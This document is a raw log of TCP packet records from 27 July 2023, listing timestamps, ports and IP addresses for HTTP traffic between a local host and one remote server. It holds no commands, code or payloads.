Jul 27, 2023 18:27:05.028929949 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.028944969 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.028978109 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.029023886 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.029028893 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.029114008 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.029162884 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.029220104 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.029710054 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.029757977 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.029804945 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.029810905 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.029851913 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.029901981 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.029926062 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.029948950 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.029997110 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.030002117 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.030044079 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.030170918 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.030630112 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.030678988 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.030725956 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.030740023 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.030774117 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.030774117 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.030822039 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.030869961 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.030874968 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.030920029 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.030968904 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.030972004 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.033560991 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.033593893 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.033639908 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.034008026 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.034037113 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.034065008 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.034066916 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.034097910 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.034126997 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.034147978 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.034157038 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.034181118 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.034188032 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.034218073 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.034245968 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.034606934 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.034638882 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.034667969 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.034679890 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.034687042 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.034708023 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.034737110 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.034766912 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.034796953 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.034796953 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.034856081 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.035536051 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.035567045 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.035592079 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.035624981 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.035655022 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.035684109 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.035706997 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.035712957 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.035742998 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.035743952 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.035773993 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.035789967 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.036494970 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.036525965 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.036556005 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.036556959 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.036586046 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.036611080 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.036617041 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.036647081 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.036660910 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.036701918 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.036732912 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.036781073 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.037344933 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.037374973 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.037406921 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.037456036 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.037486076 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.037516117 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.037539005 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.037545919 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.037554026 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.037578106 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.037607908 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.037656069 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.038338900 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.038368940 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.038397074 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.038767099 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.038923025 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.038983107 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.063143969 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.063199997 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.063251019 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.063298941 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.063345909 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.063345909 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.063395977 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.063443899 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.063446045 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.063496113 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.063544989 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.063582897 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.063589096 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.063589096 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.063673973 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.063723087 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.063752890 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.063765049 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.063811064 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.063813925 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.063864946 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.063915014 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.063920021 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.063962936 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.063973904 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.064008951 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.064057112 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.064104080 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.064121962 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.064153910 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.064157963 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.064203978 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.064249992 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.064313889 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.064318895 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.064368010 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.064378977 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.064416885 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.064465046 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.064502001 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.064510107 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.064548969 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.064558983 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.064598083 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.064646006 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.064707994 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.064711094 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.064760923 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.064786911 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.064834118 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.064902067 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.064950943 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065000057 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065031052 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.065032005 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.065048933 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065099001 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065148115 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065197945 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065246105 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065248966 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.065295935 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065344095 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065393925 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065434933 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.065434933 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.065434933 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.065440893 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065493107 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065538883 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065579891 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.065587044 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065610886 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.065637112 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065685987 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065735102 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065771103 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.065783024 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065805912 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.065874100 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065924883 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065963030 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.065999985 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.066010952 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.066021919 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.066060066 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.066107988 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.066154003 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.066184998 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.066201925 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.066234112 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.066253901 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.066301107 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.066348076 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.066375017 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.066395044 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.066404104 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.066442966 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.066490889 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.066538095 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.066560030 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.066586971 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.066596031 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.066637039 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.066683054 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.066730022 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.066741943 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.066778898 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.066811085 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.066827059 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.066874981 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.066941023 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.066963911 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067013025 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067015886 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.067060947 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067107916 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067156076 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067171097 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.067202091 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.067204952 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067253113 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067300081 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067347050 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067359924 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.067394972 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067444086 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067451000 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.067490101 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067502022 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.067540884 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067588091 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067635059 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067646980 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.067683935 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067686081 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.067730904 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067779064 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067826986 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067835093 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.067874908 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067910910 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.067924976 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.067982912 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.067986965 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068056107 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068103075 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068134069 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.068150997 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068200111 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068245888 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068248987 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.068303108 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.068320990 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068368912 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068416119 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068419933 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.068463087 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068510056 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068556070 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068567038 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.068604946 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068617105 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.068653107 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068700075 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068702936 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.068746090 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068794012 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068794012 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.068841934 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068888903 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068902016 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.068939924 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.068986893 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069014072 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.069036007 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069097042 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.069128036 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069176912 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069222927 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069269896 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069274902 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.069318056 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069333076 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.069366932 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069413900 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069415092 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.069462061 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069509029 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069516897 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.069555998 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069603920 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069622993 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.069652081 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069701910 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069730997 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.069751024 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069797039 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069835901 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.069845915 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069895029 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069942951 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069948912 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.069991112 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.069993973 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.070038080 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.070087910 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.070091963 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.070136070 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.070220947 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.070270061 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.070280075 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.070316076 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.070317030 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.070364952 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.070413113 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.070458889 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.070477009 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.070508957 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.070512056 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.070555925 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.070602894 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.070650101 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.070657969 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.070704937 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.070707083 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.070753098 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.070801020 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.070847988 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.070858955 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.070895910 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.070904016 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.070945024 CEST	80	49710	188.114.97.7	192.168.2.4
